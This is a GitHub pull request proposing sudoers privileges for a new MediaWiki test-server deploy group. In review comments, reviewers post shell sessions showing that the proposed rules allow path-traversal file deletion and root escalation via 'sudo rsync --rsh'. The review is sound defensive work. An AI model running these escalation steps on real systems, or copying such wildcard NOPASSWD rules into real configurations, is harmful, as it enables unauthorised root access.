-
-
Notifications
You must be signed in to change notification settings - Fork 57
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
create new deploy test user for T12486 #3897
base: master
Are you sure you want to change the base?
Conversation
In order to have a group that will only be able to deploy changes on beta, we need a new group as well as a test user that will allow us to make sure that access is limited before adding users to the group.
Important Review skippedAuto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the You can disable this status message by setting the Thank you for using CodeRabbit. We offer it for free to the OSS community and would appreciate your support in helping us grow. If you find it useful, would you consider giving us a shout-out on your favorite social media? TipsChatThere are 3 ways to chat with CodeRabbit:
Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments. CodeRabbit Commands (invoked as PR comments)
Additionally, you can add CodeRabbit Configuration File (
|
modules/users/data/data.yaml
Outdated
gid: 2009 | ||
description: ability to deploy changes on the MediaWiki test server | ||
members: [] | ||
privileges: ['ALL = (ALL) NOPASSWD: /bin/nano /srv/mediawiki/*', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
does this group really need this? I think they shouldn't be able to edit or remove files on /srv/mediawiki/* and should just edit mediawiki-staging and use mwdeploy --file
to deploy changes
mwdeploy runs stuff with rsync as the www-data user. They'll need perms to run rsync as said user for them to run mwdeploy. |
privileges: ['ALL = (ALL) NOPASSWD: /usr/sbin/service mwdeploy *', | ||
'ALL = (ALL) NOPASSWD: /usr/bin/rsync *', | ||
'ALL = (www-data) NOPASSWD: /bin/sudoedit /srv/mediawiki-staging/*', | ||
'ALL = (www-data) NOPASSWD: /bin/rm /srv/mediawiki-staging/*'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
> sudo grep nobody /etc/sudoers
nobody ALL = (root) NOPASSWD: /bin/rm /tmp/poc/mediawiki-staging/*
> tree /tmp/poc
/tmp/poc
├── mediawiki
│ └── LocalSettings.php
├── mediawiki-staging
│ └── LocalSettings.php
└── something-important
3 directories, 3 files
> sudo -Hu nobody sh
sh-5.2$ sudo rm /tmp/poc/mediawiki/LocalSettings.php
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
[sudo] password for nobody:
sudo: no password was provided
sudo: a password is required
sh-5.2$ sudo rm /tmp/poc/mediawiki-staging/../mediawiki/LocalSettings.php
sh-5.2$ ls /tmp/poc/mediawiki
sh-5.2$
description: ability to deploy changes on the MediaWiki test server | ||
members: [] | ||
privileges: ['ALL = (ALL) NOPASSWD: /usr/sbin/service mwdeploy *', | ||
'ALL = (ALL) NOPASSWD: /usr/bin/rsync *', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can escalate to root with this:
> sudo grep nobody /etc/sudoers
nobody ALL = (ALL) NOPASSWD: /usr/bin/rsync *
> sudo -Hu nobody sh
sh-5.2$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
sh-5.2$ printf '#!/bin/sh\nid >&2' > /tmp/shenanigans
sh-5.2$ chmod +x /tmp/shenanigans
sh-5.2$ sudo rsync --rsh=/tmp/shenanigans awawa:owo /
uid=0(root) gid=0(root) groups=0(root)
rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]
rsync error: error in rsync protocol data stream (code 12) at io.c(231) [Receiver=3.3.0]
In order to have a group that will only be able to deploy changes on beta, we need a new group as well as a test user that will allow us to make sure that access is limited before adding users to the group.